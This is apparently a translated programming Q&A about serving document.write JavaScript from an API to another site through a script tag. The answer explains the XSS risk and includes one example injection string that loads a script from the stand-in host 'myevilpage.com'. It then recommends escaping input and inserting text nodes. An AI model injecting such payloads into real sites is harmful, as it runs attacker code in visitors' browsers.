0

我们有一个非常简单的 api 并且想要返回在另一个站点上呈现一些内容。我想从我们的 api 端点发送类似的东西(例如http://domain.com/api/endpoint/1就像 <script src='http://domain/api/endpoint/1'> </脚本>):

document.write('here is my value<br />');
document.write('Let me give you some inforamtion about this<br />');

并逃脱它。无需担心 https 或内容。有两个人含糊地告诉我,他们认为这是不安全的,但我真的不明白如果我们正确处理它会怎么样(无论如何这都是真的)?这安全吗?我错过了什么吗?JSONP 对于这样的事情来说太过分了——我们想要最简单的技术。

提前谢谢

4

1 回答 1

1

只要您同时控制两个域,您就可以将一个域中的脚本包含到另一个域的网页中,这并不存在安全问题。有很多网站从 CDN 或内容子域或整个其他域提供脚本标签。

document.write 的使用已经过时,可能会让您头疼。

您唯一需要考虑的安全问题是,如果您的 API 允许将用户内容文档写入页面,那么您将容易受到跨站点脚本攻击,其中有人将他们的用户名设置为如下所示:

/><script>document.write('<script src="myevilpage.com"></script>'</script>

然后你的代码很高兴地将它注入页面,然后访问它的每个人都会感染病毒并且他们的计算机会爆炸。通常,您需要在将任何基于用户的输入发送到您的 API 之前对其进行转义,还要在您的 javascript 中对其进行清理,然后将其作为 textNode 或类似技巧插入页面以阻止人们能够操纵您的页面。

于 2012-12-07T05:05:16.253 回答